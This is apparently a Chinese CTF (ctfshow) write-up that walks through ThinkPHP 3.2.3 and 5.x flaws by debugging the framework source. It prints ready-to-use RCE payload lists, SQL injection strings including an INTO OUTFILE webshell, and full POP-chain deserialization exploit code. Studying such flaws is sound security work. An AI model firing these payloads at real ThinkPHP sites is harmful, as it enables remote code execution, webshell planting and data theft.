基于ctfshow初探TP全系列漏洞

文章发布时间:

最后更新时间:

文章总字数:
11.5k

预计阅读时间:
47 分钟

ThinkPHP全系漏洞研究

研究复现这些thinkphp漏洞就是为了明白漏洞的成因,锻炼看文档手册和调试代码的能力,主要基于ctfshow靶场上的题进行研究(能找到的最全的靶场)。

前言:如何找到需要的版本源码

composer create-project topthink/think-5.0.5 thinkphp5.0.5 --prefer-dist

下载之后访问index,随便访问一个不存在的路由,看报错说的是几,有时候会自动下成最新版,显示5.0.24,这时候只需要在compsoer.json里面改为需要的版本,再运行composer update就行,composer是php的包管理工具,功能和java的maven非常类似

ThinkPHP3.2.3(TP3)

web569:url模式pathinfo

URL模式 · ThinkPHP3.2.3完全开发手册 · 看云 (kancloud.cn)

入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作http://serverName/index.php/模块/控制器/操作

直接对着题目给的模块控制器和操作输入即可

web570:闭包路由利用

闭包路由的概念

简单来说就是闭包路由函数体直接处理,而不用创建控制器。

Common/Conf/config.php

1
2
3
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}

直接执行命令即可/index.php/ctfshow/assert/eval($_POST['_'])

post:_=system(cat /f*);

web571:渲染首页利用

这题感觉才是真正开始了thinkphp3.2.3审计,先在网上找到源码(可让我好找),然后复制到www目录下,开启web服务,访问看到笑脸,本地环境配置完成。

top-think/thinkphp: ThinkPHP3.2 ——基于PHP5的简单快速的面向对象的PHP框架 (github.com)

再看看下载到的附件和源码有什么不同,题目说留下了一个后门(话说这ctfshow让别人审计源码可不可以把框架给全。。。),发现index函数部分传了一个$n变量,我们也在本地随便传一个值,看看这个变量传进去之后会发生什么。打个断点,开始快乐调试。

image-20230815214615102

这个变量被插到了show函数的content参数中(代码太长难以展示),跟进show函数:

image-20230815214744139

跟进view对象的display方法:image-20230815214834430

这个G方法是用来记录时间和内存的,content并没有传进去,直接步出,可以看到content传到了fetch方法,跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function fetch($templateFile = '', $content = '', $prefix = '')
{
if (empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if (!is_file($templateFile)) {
E(L('_TEMPLATE_NOT_EXIST_') . ':' . $templateFile);
}

} else {
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) {
// 使用PHP原生模板
if (empty($content)) {
if (isset($this->tVar['templateFile'])) {
$__template__ = $templateFile;
extract($this->tVar, EXTR_OVERWRITE);
include $__template__;
} else {
extract($this->tVar, EXTR_OVERWRITE);
include $templateFile;
}
} elseif (isset($this->tVar['content'])) {
$__content__ = $content;
extract($this->tVar, EXTR_OVERWRITE);
eval('?>' . $__content__);
} else {
extract($this->tVar, EXTR_OVERWRITE);
eval('?>' . $content);
}
}

可以看到,这里的eval就是最终执行命令的地方,通过调试也知道这个content就是我们传进的变量,只需要C(‘TMPL_ENGINE_TYPE’)是php即可完成执行命令,本地默认的type是think(可以在config改),所以本地没法走这个if,但是ctfshow就走了if,不然也不会构成后门。

综上,传入?n=<?php system('cat /f*')?>即可。

web572:日志未授权访问

image-20230815220529802

如果开过debug模式就会产生对应的日志,然后web应用没有限制访问的目录,就可以尝试读取日志文件来获得信息,老规矩,先看看本地。

image-20230815220912940

可以看到日志文件的位置和命名规范,由于不知道是什么时候的日志文件,就需要爆破,在21_04_15爆到了内容,看到黑客写的马的密码,那我们也用一下马就行。

/index.php?showctf=<?php system("cat /f*");?>

web573:sql注入

先在本地搭建环境研究研究,首先研究sql注入肯定要先自己弄好数据库,这个thinkphp创建时绑定的数据库是空的,于是创个users表,输点数据。

image-20230815223250004

由于我下的是3.2.5版本的源码(只能找到这个…),但是这个基于where进行sql注入的漏洞在3.2.4修复了,于是对照修复的补丁位置改回去3.2.3版本。

image-20230816111003088

这个修复让我们无法再通过传入一个数组(键为where)来控制where的值(从option到this->option,且不再把option直接传进_parseOptions),从而无法绕过后面的检测,分析完就知道为什么要这么改了。

搭建环境最后一步,index里写上对应的功能(通过id获取的参数查询users表,这是payload1的配置)

payload1:where注入

1
2
$data = M('users')->find(I('GET.id'));
var_dump($data);

打上断点开始调试,先试试普通的sql注入会发生什么,传入1'

image-20230816111505604

首先这个M方法处理的是users,并不是我们传入的值,是用来建立模型的,不用管,直接步出,I方法用来获取我们通过GET传入的id值,然后传入find方法,跟进find方法。

image-20230816112130887

可以看到经过赋值后此时的where变量是一个array。find函数最关键的部分如下:

image-20230816112302459

parseOptions对表达式进行分析(也就是处理我们的查询语句,options是一个array,里面有where,而where也是array,里面放了id="1'"),而select就是正式进行查询,跟进parseOptions:

image-20230816112753794

parseOptions前面都在自动获取表名,指定表之类的操作,字段类型验证在后面:

image-20230816105921113

可以看到这个字段类型验证的条件是where是一个array,sql注入做文章的地方就是这里,先看看如何进行字段验证,关键函数是parseType,跟进看看。

image-20230816113146738

简单来说就是根据表字段的类型来将传入的值强转,可以看到我们传入的1'被intval转成了1(id字段的类型是int),sql注入失效,可以通过将id字段的类型设置成varchar看看会怎么处理字符串,是否存在sql注入。

image-20230816121132212

改了之后可以重新断点跳到这个地方,可以看到是成功跳过了所有的if,回到了parseOptions再回到find函数中,来到find中第二个关键函数select。

image-20230816121422957

select中的关键是buildSelectSql,就是这个函数利用我们传入的options生成了sql查询语句,跟进:

image-20230816121738189

parsesql对我们的options进行了处理,跟进。

image-20230816121822977

看到了一堆函数,用来处理sql语句的不同逻辑

image-20230816122651856

一通跳转到了处理我们传入的值的函数,parseValue,注意看此时传入前的value仍然是1'。这行代码调用了escapeString来处理我们value,跟进:

image-20230816122936591

很好,这个addslashes直接宣告了常规sql注入的终结,因为会转义单引号。

image-20230816123102487

可以看到我们的value变成了1\,失去效果。

既然传字符串不行,可以考虑传入一个数组,而联想到刚刚的判断,可以传入?id[where]=1看看,因为可以直接跳过强转部分,理由稍后阐明(不需要再使得字段是varchar,是int也行)。

image-20230816123804101

可以看到这里和上文最明显的不同就是这个options里的where不再是一个数组array,而是一个字符串。

image-20230816124009180

既然where不再是array,这个parseOptions里的字段类型验证直接失效,更不会到parseType中发生强转,成功绕过第一层,回到find中,到第二个关键函数。

image-20230816124356755

可以看到一大堆函数里的parseWhere处理了where(因为我们现在相当于传入的是where,处理我们传入的就只有parseWhere,而不会像上次一样传入parseValue处理,自然也就绕过了addslashes),并且直接把where字符串内容返回,最后一通跳转返回了sql语句。

image-20230816124734797

这个where后面的值就是我们传入的1,从而可以随意控制值来进行sql注入,相当于没有了任何验证,传入?id[where]=id=-1 union select 1,group_concat(flag4s),3,4 from flags(后面一整个字符串直接拼到sql语句中)得到这一题的flag。

总结一下

  1. 传入id值时正常逻辑,find()->_parseOptions()->_parseTypes()->select()->parseSql()->parseValue(),其中_parseTypes()是第一层需要绕过的点,parseValue是第二层需要绕过的点
  2. 传入?id[where]=1,绕过上述两层,find()->_parseOptions()->select()->parseSql()->parseWhere(),直接将内容拼接到sql语句中。

修复后

分析下官方是怎么修复的,结合之前那张图可知重要的改动是把options变成了this->options,并且不再直接将options传入parseOptions,this->options初始为空,需要赋值,而如果传数组,就没法赋值where给this->Options,所以相当于到parseOptions中我们根本就没有where(直接传数组相当于啥也没传),自然绕不过第二层,不再可以注入。

image-20230816134109804

需要options是string或者numeric,才能赋值。

image-20230816132632123

可以看到这里处理的options只剩下了limit=>1。

payload2:exp注入

index改一下

1
2
3
4
5
$User = D('Users');
$map = array('username' => $_GET['username']);
// $map = array('username' => I('username'));
$user = $User->where($map)->find();
var_dump($user);

为什么用GET获取而不用I方法获取,因为I方法内部有过滤,不允许传入参数值以exp开头(后面分析payload就知道为什么要用exp开头了)。直接调用where再调用find主要是为了保证where是我们传入的array。

image-20230816161602527

payload:?username[0]=exp&username[1]==-1 union select 1,2,3

传入payload打上断点开始快乐调试:

先跟进where方法,一句话:把我们传入的这个数组array('username' => $_GET['username'])传给了$this->options['where']

image-20230816184119289

跟进find方法,会发现this->options里面只有一个limit,和官方修复后的那个一样,不过我们知道进到parseOptions里面会进行合并,那就和之前的一样了。跟进到经典字段验证。image-20230816184308853

可以看到,这个var变量是一个数组,而is_scalar方法判断一个变量是否是标量(存储单个值的数据类型),这里if判断失败,自然实现了绕过。

直接跳到第二个关键点,select方法,进入buildSelectSql方法,然后跳到parseSql一大堆函数,前面的验证都和之前一样,直接跳到不一样的地方,parseWhere,由于我们现在的where是一个二维数组(应该可以这么说),自然处理方式和之前不同。

image-20230816185054690

可以看到whereStr现在是空的,也就是说parseWhereItem处理的结果就是这个string的值,跟进:

image-20230816185331808

这个exp变量获取的是var[0]的值,也就是我们传入的第一个值,就是exp,可以看到这时候whereStr就是key拼上var[1],也就是查询的username拼上我们传入第二个值。

然后这个语句就毫无过滤的传回去拼到where查询了,实现了sql注入。

总结一下

往where方法传入数组,第一个值为exp,第二个值为=1 union ….,就可以在parseWhere构建whereStr,从而实现sql注入。比如传?username[0]=exp效果如下:

1
select * from users where `username`  $val[1]  limit 1

payload3:bind注入

index:

1
2
3
4
5
$User = M("Users");
$user['id'] = I('id');//这个获取的是数据库里的字段名
$data['passwd'] = I('passwd');
$value = $User->where($user)->save($data);
var_dump($value);

这里可以用I方法的原因是I方法并没有不允许bind开头,故3.2.4更新中更新了bind到黑名单。其实这个bind和上面那个exp很像,都是参数绑定导致的问题。

payload:?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&passwd=1

I方法获取完之后是这样的:

image-20230816191545357

where方法和上一个完全一样,没什么好说的,跟进save方法,save先使用facade方法来处理我们的data,跟进facade方法

image-20230816191650141

看到了经典检查和强转,不过我们也不是用data进行注入。然后进入update方法,

image-20230816192105532

跟进parseSet(这里有一个小插曲,关键部分代码3.2.5进行了修改,导致我输payload没成功,于是对照改回来,下面的是3.2.3原来的代码,成功实现报错注入):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected function parseSet($data) {
foreach ($data as $key=>$val){
if(is_array($val) && 'exp' == $val[0]){
$set[] = $this->parseKey($key).'='.$val[1];
}elseif(is_null($val)){
$set[] = $this->parseKey($key).'=NULL';
}elseif(is_scalar($val)) {// 过滤非标量数据
if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
$set[] = $this->parseKey($key).'='.$this->escapeString($val);
}else{
$name = count($this->bind);//关键在这里,由于bind为空,所以name变量的值就是0
$set[] = $this->parseKey($key).'=:'.$name;
$this->bindParam($name,$val);
}
}
}
return ' SET '.implode(',',$set);
}

跟进bindParam看看:

image-20230816195605466

从而得到bind的值:0 = 1,后面就是常规的bind注入和上面的exp注入一样,会产生whereStr。

image-20230816192836350

返回str构成的sql语句:

1
UPDATE `users` SET `password`=:0 WHERE `id` = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)

进入最终的excute方法:

image-20230816193719388

重点在最下面那个最终的queryStr生成,简单来说strtr就是把所有的:0都替换成了1(运用了之前那个bind规则,当我们的id第二个值传入的是0时,刚好拼出一个:0,从而实现替换,使得sql报错)

1
2
3
4
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
}

替换完得到最终的语句,成功sql注入

1
UPDATE `users` SET `password`='1' WHERE `id` = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)

总结一下

首先第一个id[0]=bind传入是为了在parseWhere中按bind处理,拼接返回whereString,

然后第二个id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)是用来报错注入的语句(因为是save操作,并不会有回显,只能用报错注入),这个0是强制的,因为可以替换的仅仅为:0,如果不是,最后就不会替换,从而报错(但是没有注入)。

最后第三个passwd的值就是希望:0替换成的值,由于这里是id,随便输个数字就行。

web574:同sql注入

1
2
3
4
public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}

直接让我们给where赋值,还有这种好事

?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23

web575:反序列化漏洞

1
2
3
4
5
6
7
8
$user= unserialize(base64_decode(cookie('user'))); 
if(!$user || $user->id!==$id)
{
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);

ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链 (qq.com)

index写个反序列化的操作

1
2
3
public function test(){
unserialize(base64_decode(file_get_contents('php://input')));
}

先找到反序列化的入口点,这里找的是destruct魔术方法,因为一定能够触发反序列化链。全局搜索,找到了Imagick.class里的方法,这里的img可控(只要是成员变量就可控)

1
2
3
4
5
6
7
8
9
10
11
12
namespace Think\Image\Driver;

use Think\Image;

class Imagick
{
private $img;
public function __destruct()
{
empty($this->img) || $this->img->destroy();
}
}

全局搜索destroy方法,看看哪个类包含destroy方法,找到了Memcache.class.php

1
2
3
4
5
6
7
8
9
10
namespace Think\Session\Driver;

class Memcache
{
protected $handle = null;
public function destroy($sessID)
{
return $this->handle->delete($this->sessionName . $sessID);
}
}

这个sessID不可控,但是handle可控,查找delete方法,这里有个小问题,由于destroy调用的时候没有传参进去,也就是sessID为空调用destroy,在php7会报错,换成php5就行。

image-20230817150315379

找到了Model.class,注意看这几行关键代码,options为空的时候回带,将可控的data[$pk]设置为options,相当于可控options。

image-20230817150457340

这里有一个返回false终止函数的情况,注意要传入where为1=1防止中断,后调用了db的delete,参数可控,db为数据库,也可控,跟进delete到Driver.class:

1
2
3
4
5
6
public function delete($options = array())
{
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM ' . $table;
return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
}

关键是这三行,就是拼接sql语句并且执行,这个parseTable处理了和没处理一样,这里也看出我们需要控制的是上文所说options的table,跟进execute

image-20230817151014788

跟进initConnect:

image-20230817151101934

可以看到是一个根据可控数据config来连接数据库操作的方法,反序列化链结束。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp3",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => ""
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

此POP链的正常利用过程应该是:

  1. 通过某处leak出目标的数据库配置(真的会有吗?)
  2. 触发反序列化
  3. 触发链中DELETE语句的SQL注入

拓宽攻击面,由于可以连接任意数据库,我们可以使目标机远程连接我们的恶意数据库,从而造成任意文件读取,读取之后再连接目标机的数据库。

  1. 通过某处leak出目标的WEB目录**(e.g. DEBUG页面)**
  2. 开启恶意MySQL恶意服务端设置读取的文件为目标的数据库配置文件
  3. 触发反序列化
  4. 触发链中PDO连接的部分
  5. 获取到目标的数据库配置
  6. 使用目标的数据库配置再次出发反序列化
  7. 触发链中DELETE语句的SQL注入

恶意数据库脚本如下:

MorouU/rogue_mysql_server: A fake MYSQL server can read multiple client files when the client connects.(support python2 and python3). (github.com)

说实话这题虽然是pop链,但是真的很像java的CC链,一个找一个,全局用法搜索。

这题还有个非预期解,结合之前的show渲染首页命令执行漏洞,随便传个序列化的就行。

1
2
3
4
5
6
7
8
9
<?php 
namespace Think;
class Model
{
public $id = "1";
public $username = "<php>system('cat /f*');</php>";
}
echo base64_encode(serialize(new Model));

web576:comment注入

index:

1
2
3
$id = $_GET['id'];
$user = M('Users')->comment($id)->find(intval($id));
var_dump($user);

和前面的对比一下,发现把前面的where换成了comment,其实整个注入的过程和上面几乎完全一样唯一不同在于buildsql函数里面的一大堆parse函数里面,这次发挥作用的是parseComment,不再是parseWhere。

随便传个id=1进去调试一下:

image-20230817163015753

处理传入数据,拼成sql语句的位置

image-20230817163137037

也就是说我们把/*闭合就可以完成注入。

但是这里用union就会报错,根据报错信息可以确定这个注入需要在limit后面注入

image-20230817163416858

Mysql 注入之 limit 注入 - 简书 (jianshu.com)

此方法适用于5.0.0< MySQL <5.6.6版本,先看看MySQL5中的SELECT语法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
SELECT 
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

可以看到limit后面可以跟PROCEDUREINTO

INTO

这题说要拿shell,所以使用的是INTO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]

export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]

于是传入?id=1*/ into outfile "/var/www/html/1.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*,然后访问1.php输命令即可

PROCEDURE

1
2
mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

procedure后面跟的analyse里面可以写两个参数,可以采用报错注入其中一个参数,也可以盲注

1
select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

web577:exp注入

见上文

?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags

web578:变量覆盖漏洞

首先,本地默认的模板是Think,而题目用的是PHP,直接分析别人贴出来的代码算了,就不在本地调试了,毕竟这题也很简单。

image-20230817170557144

1
2
3
4
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}

第一个函数assign就是一个简单的赋值。就是说如果我们传入?name=a&from=b,那么$this->tVar=array('a'=>'b');

第二个函数display,之前渲染漏洞就利用过,里面有fetch,跟进fetch里面有eval,看看条件,条件是_content不为空则执行_content里的内容,传入?name=_content&from=<?php system('cat /f*');?>即可。

1
2
3
4
5
6
7
8
9
10
11
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}

web604-610:RCE

ThinkPHP5 RCE总结

thinkphp5最出名的漏洞就是rce,rce有两个大版本的区别

  1. ThinkPHP 5.0.0-5.0.24
  2. ThinkPHP 5.1.0-5.1.30

因为漏洞具体触发点和版本的不同,导致payload分为了很多种,总体来看依然分两大种:

  1. 直接访问路由触发,由于未开启强制路由,且Request类在兼容模式下获取的控制器没有进行合法校验导致的rce,任意文件的任意方法调用,怎么找新的链子,找危险方法!

    image-20230820111147779

    ?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('whoami'); ?>

    5.1.x :

    1
    2
    3
    4
    5
    ?s=index/think\Request/input&filter[]=system&data=pwd  //web604
    ?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
    ?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> //web605,写进去之后直接访问shell.php即可
    ?s=index/think\Container/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    ?s=index/think\app/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

    5.0.x :

    1
    2
    3
    4
    5
    ?s=index/think\config/get&name=database.username # 获取配置信息
    ?s=index/think\Lang/load&file=../../test.jpg # 包含任意文件
    ?s=index/think\Config/load&file=../../t.php # 包含任意.php文件
    ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    ?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
  2. 另一种是因为Request类的method__construct方法造成的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    http://php.local/thinkphp5.0.5/public/index.php?s=index
    post
    _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
    _method=__construct&filter[]=system&method=GET&get[]=whoami

    # ThinkPHP <= 5.0.13
    POST /?s=index/index
    s=whoami&_method=__construct&method=&filter[]=system

    # ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
    POST /
    _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

    # ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
    POST /?s=xxx HTTP/1.1
    _method=__construct&filter[]=system&method=get&get[]=ls+-al
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

具体使用payload的时候可以多试几条。

未开启强制路由RCE

先具体分析一下第一种的第一条,使用的版本是ThinkPHP5.1.29

可以在config文件夹下的app.php看到路径处理采取了s(兼容模式)且强制使用路由是关闭的,这个是rce的前提。

image-20230819094134133

传入?s=index/think\Request/input&filter=system&data=whoami,开始调试

image-20230819152915353

可以看到根本的逻辑就是先get构建app应用,再run,最后send返回结果,rce在run方法中发生,直接跳过get方法进入run方法。

image-20230819153247131

run方法前面也是一些初始化应用的操作,重点在这里,先通过routeCheck方法再通过init方法获得dispatch变量的值,跟进routeCheck:

image-20230819153615441

由于appDebug为开启状态(true),所以这个if直接跳过,看到后面关键的获取dispatch部分

image-20230819100121187

可以看到这里两个参数,一个是我们输入的s后面的路径,另一个must用来表示未开启强制路由模式,跟进check方法:

image-20230819100527464

可以看到这里是把我们的/换成|,url变为了index|think\request|input,后面还有很多处理,但是处理完之后还是不变,最终routeCheck返回的dispatch就是index|think\request|input,接着进行init方法的处理。

image-20230819154856942

跟进parseUrl方法,看如何解析我们传入的url

image-20230819155153929

一句话解释就是将我们传入的url按照模块/控制器/方法拆成了route数组,然后返回成最终的dispatch,回到run方法中。

image-20230819155425704

下一个关键在run方法的431行,这个闭包中调用了dispatch的run方法,跟进

image-20230819155543099

可以看到run方法里执行了this的exec,典型的危险函数,跟进到Module.php的exec,这个方法的作用就是实例化了控制器think\request,并且通过反射机制获取了url中传入的我们需要调用的方法input,且利用param方法获得请求参数,即filter=system&data=dir,总的来说就是为rce做好了准备。

image-20230819161041739

绑定好参数之后最终调用request.php中的input方法,关键是这里:

image-20230819161607864

跟进filterValue,发现里面直接call_user_func了,func是filter,data是参数,实现rce。

总结
整体思路:由于未强制开启路由且是兼容模式,我们传入的参数会被成功解析并调用,相当于按模块/控制器/方法名调用了input,再传入filter作为方法名,data作为参数实现rce。

Method任意方法调用RCE

注:下文使用版本为5.0.22

开启debug模式

分析之前先看看Request类里面危险的方法,首先是这个construct方法,在控制options的情况下就可以实现对类中变量的覆盖。

image-20230819191459207

然后是这个method方法,可以实现任意request类中方法的调用,其中这个var_method可以通过POST传入_method来改变。于是自然想到可以传入_method=construct来进行变量覆盖。

image-20230819192714334

最后是这个filterValue方法,可以实现任意方法的调用,只要我们可以控制value和filter的值

image-20230819192145838

payload:POST:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami

打上断点,分析一遍流程,看看究竟是怎么调用的。

image-20230819201005722

跳转start.php,跟进

image-20230819201031327

可以看到和上一个非常像,都是run执行应用里面发生rce,跳到run方法

image-20230819201147286

一样是routeCheck方法,然后routeCheck里面关键的是Check,直接跳到Check:

image-20230819201325246

check方法的关键在这里,调用了request变量的method方法,看监视可知$request=think\Request,所以调用的就是request类里面的那个method方法,跟进:

image-20230819201543525

可以看到,由于我们是无参调用,所以这个method变量的值是false,从而进入到我们的任意request类方法调用环节,传入的是construct,跳到construct:

image-20230819201706584

进行变量覆盖,结合我们的payload中可知这次覆盖了两个变量,把filter变量覆盖成了system,把server变量覆盖成了REQUEST_METHOD=whoami,变量覆盖完成,只需要调用即可,回到run方法中:

image-20230819202107887

这是第二个关键点,由于我们的debug模式是true,所以进入到if语句,这里关键的地方就是调用了think\Requestparam()方法,跟进:

image-20230819202231013

可以看到这里再一次调用了request类的method方法,和上文不同的是传入的参数是true

image-20230819202336978

直接调用server方法,传入的字符串是REQUEST_METHOD,跟进server:

image-20230819202722431

可以看到,由于我们先前进行了变量覆盖,这里的server不是空的,就可以绕过这个替换,维持原来的值,看到后面调用了input方法,传入的参数是之前覆盖了的server和REQUEST_METHOD这个字符串

image-20230819203117792

第一处关键在这里,这里的意思就是将server[REQUEST_METHOD]也就是whoami传给了data。

image-20230819203256892

第二处关键在这里,filterValue传进去的data就是我们的rce命令,也就是whoami,而filter就是我们之前变量覆盖后的system,最终在filterValue中的call_user_func完成命令执行,这个上文说了。

总结

payload:POST:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami

通过控制_method使得调用_construct方法,通过传入filter=system&server[REQUEST_METHOD]=whoami来实现变量覆盖,最后通过debug模式开启,调用param()方法来最终完成RCE。

未开启debug模式

结合上文的总结,未开启debug模式下,自然无法再利用param()方法,但是变量该覆盖的还是可以覆盖。

首先做下准备工作,先把config.php里面的debug改为false,再装多一个captcha拓展包(如果用下面的payload打不通就是缺了这个拓展),cmd输入composer require topthink/think-captcha=1.*即可。

payload:GET:?s=captcha POST:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

直接跳到无法利用的param方法位置,前面的覆盖都是一样的:

image-20230819222119354

跟进exec函数,发现对$dispatch[‘type’]进行了switch,当type是method的时候就可以调用param,后面的过程和开了debug是完全一样的,都是通过param进行rce:

image-20230819222722407

那我们需要考虑的问题就是怎么让$dispatch[‘type’]=method

在thinkphp5完整版中官网揉进去了一个验证码的路由,可以通过这个路由来使得$dispatch[‘type’] 等于 method ,从而完成rce漏洞。

具体操作就是直接通过路由访问GET:?s=captcha

之前的那种方法进入method方法后,后面的代码就不用管了,但是这种方法下面的代码仍需要进行,故需要把请求方法设置成get才能访问路由,又因为method()方法的返回值是return $this->method;,所以__construct()方法里面把$this->method覆盖成get就可以,也就是说我们post传的参要多一个method=get。

image-20230819223714279

总结

未开启debug且有captcha的时候只需要多加两步即可正常打

感谢两位大佬的文章提供的思路

Thinkphp5 RCE总结 - Luminous~ - 博客园 (cnblogs.com)

分析较为精简,但是有自行测试的各版本可行payload

thinkphp5 RCE漏洞复现_thinkphp rce_bfengj的博客-CSDN博客

分析非常详细!

具体web604到610每一题所使用的payload可以参考这篇文章,这里不再一一列举

ctfshow–thinkphp专题 | 会下雪的晴天 (yq1ng.github.io)

web611-622:反序列化漏洞

ThinkPHP5.1 反序列化总结

影响版本:5.1.37-5.1.41

先在index里面加一个反序列化的入口:

image-20230822123827008

由于这个反序列化链实在是太长了,而且需要逆着分析,向上找调用,没法进行调试(调试是顺着分析),所以分成两大部分来分析,第一部分跳跃的类有点多,涉及到了php的多继承和抽象类,第二部分主要集中在Request类中不同方法的互相调用,而连接两个部分的关键在于访问不存在的方法时自动调用的__call方法。

首先是第一部分,反序列化的入口点(根据常识,往往是__destruct魔术方法,因为类总会被销毁,而这个魔术方法就会被自动调用,从而开启pop链),在Windows类的__destruct方法:

image-20230822105418439

跟进close看看,就是一个关闭文件的操作,无法利用,关键在removeFiles,跟进:

image-20230822105510754

可以看到这里的filename我们可以控制,存在任意文件删除漏洞(热知识:只要是类的成员变量,反序列化的时候就可以控制),任意文件删除不是重点,我们的重点是要RCE。看到这个file_exists函数,这个函数通过路径来判断文件是否存在,也就是说传入的参数需要是一个字符串,如果我们控制filename是一个类,就会自动调用该类的__toString方法,于是我们需要寻找一个有危险方法的__toString。看到Conversion.php的__toString方法,注意这里是第一次跳转,从Windows.php到Conversion.php

image-20230822110618256

跟进toJson方法:

image-20230822110648400

可以看到这里调用了toArray方法,跟进:

image-20230822110742702

由于toArray实在是太长了,这里只截出关键的部分:

image-20230822110826859

最关键的一行代码就是$relation->visible($name),这意味这如果我们可以控制relation和name,就可以调用relation这个类的visible方法,且参数由我们控制,或者可以调用relation这个类的__call方法(该类没有visible时就可以自动调用),且参数由我们控制,而之前对tp5RCE中的分析我们也能看出,这个__call很危险,很有可能里面就有call_user_func。

